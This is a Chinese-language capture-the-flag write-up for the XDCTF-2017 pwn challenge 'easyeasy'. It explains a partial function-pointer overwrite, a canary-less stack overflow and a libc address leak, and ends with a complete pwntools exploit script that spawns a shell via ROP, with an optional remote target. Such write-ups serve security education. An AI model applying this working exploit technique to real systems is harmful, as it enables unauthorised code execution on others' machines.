[XDCTF-2017] easyeasy

Posted    on 2017, Oct6, Friday 18:16:27
Modified on 2017, Oct6, Friday 18:16:30

分析

拿到题目后F5,发现是个菜单题,并且给出了libc

linux下如何加载指定的so文件,可以见: Linux 加载动态链接库原理分析

先挑重点说吧

sub_400B4B

在这里 qword_6020D0 这个全局变量被分析出了奇怪的语法

奇怪的语法

考虑它是一个结构体一样的东西,根据F5手动创建一个结构体

结构体

创建后F5便正常了许多

正常

在阅读源码后可以得知,在执行 sub_400985 时可以将 fun4 的最后一个byte重写,也就是说在

(*(void (**)(void))(*qword_6020D0)->fun4)();

可以执行到 0x400A**

在翻看汇编代码时发现,若是让其执行到 0x00400AAF ,则它在执行其内部的 0x400A35 时

会触发栈溢出,同时 0x400A35 并没有 canary ,简直完美的利用条件

溢出点

以这个图为例,可以构造如下rop链

0x7ffca4b29fb0 -> pop rdi;retn

0x7ffca4b29fb8 -> /bin/sh

0x7ffca4b29fc0 -> system

即可获取shell

pop rdi;retn 已经找到

也就是说,若是泄露了 libc 的地址,那么一切问题都解决了。

(然而智障的我被坑了好久

下面这句话是重点!

在初始化got表时,会调用libc中的某个函数,也就是说在初始化got表时,会在栈上残留一些指向libc的指针!

注:若是需要这样泄露libc地址时,千万不要乱nop函数,比如nop掉alarm函数,这样会导致栈信息的变化。同时这个操作极其依赖libc,最好能加载泄露的libc进行调试

sub_400A35 中,它写入数据时并没有在结尾加 ‘\0’ ,因此可以借它泄露信息。

0x0400AC4 下断点,查看此时的内存

stack

可以知道 0x7ffc07edc048 指向了该libc的 libc.bss(4176) 这个位置,这样一来就有了所有的信息

POC

下面为本题的 POC

#!/usr/bin/env python2
# -*- coding: utf-8 -*- #
from pwn import *

DEBUG = 0
LOCAL = 1
VERBOSE = 1

def call_byte(program, addr):
    program.sendline('4')
    program.sendline('1')
    # 32=0x20 恰好为最后一个函数指针的位置
    program.sendline('32')


    for i in range(3):
        program.sendline('4')
        program.sendline('4')

    program.recvuntil('Give me your luckynum:\n')

    program.sendline(str(addr))

def call(program, rbp, addr_list):
    call_byte(program, 0xAF) #call read
    payload = 'a' * 8 + p64(rbp)
    for addr in addr_list:
        payload += p64(addr)

    program.send(payload)

def get_libc_addr(program, libc):
    program.send('a' * 0x7 + '[')
    program.recvuntil('[')
    addr = u64(program.recv(6) + '\x00\x00') # _IO_stdfile_2_lock wtf????

    program.recvuntil('5. exit\n')
    program.sendline('1')
    program.sendline('10')
    program.sendline('plusls')
    program.recvuntil('Success!')
    program.recvuntil('5. exit\n')

    libc_addr = addr - libc.bss(4176)
    log.info('libc addr=' + hex(libc_addr))
    log.info('system addr=' + hex(libc_addr + libc.symbols['system']))

    return libc_addr

def main():
    if VERBOSE:
        context.log_level = 'debug'
    if LOCAL:
        program = process('./easyeasy')
    else:
        program = remote('117.34.105.149', 1251)
    if DEBUG:
        gdb.attach(program)

    libc = ELF('libc.so.6')
    libc_addr = get_libc_addr(program, libc)

    addr_list = [0x4010b3,libc_addr + list(libc.search('/bin/sh'))[0], libc_addr + libc.symbols['system']]


    call(program, u64('aaaaaaaa'), addr_list)

    program.interactive()

if __name__ == '__main__':
    main()

flag我也忘了

附录

附件: easyeasy.zip

包含idb文件以及题目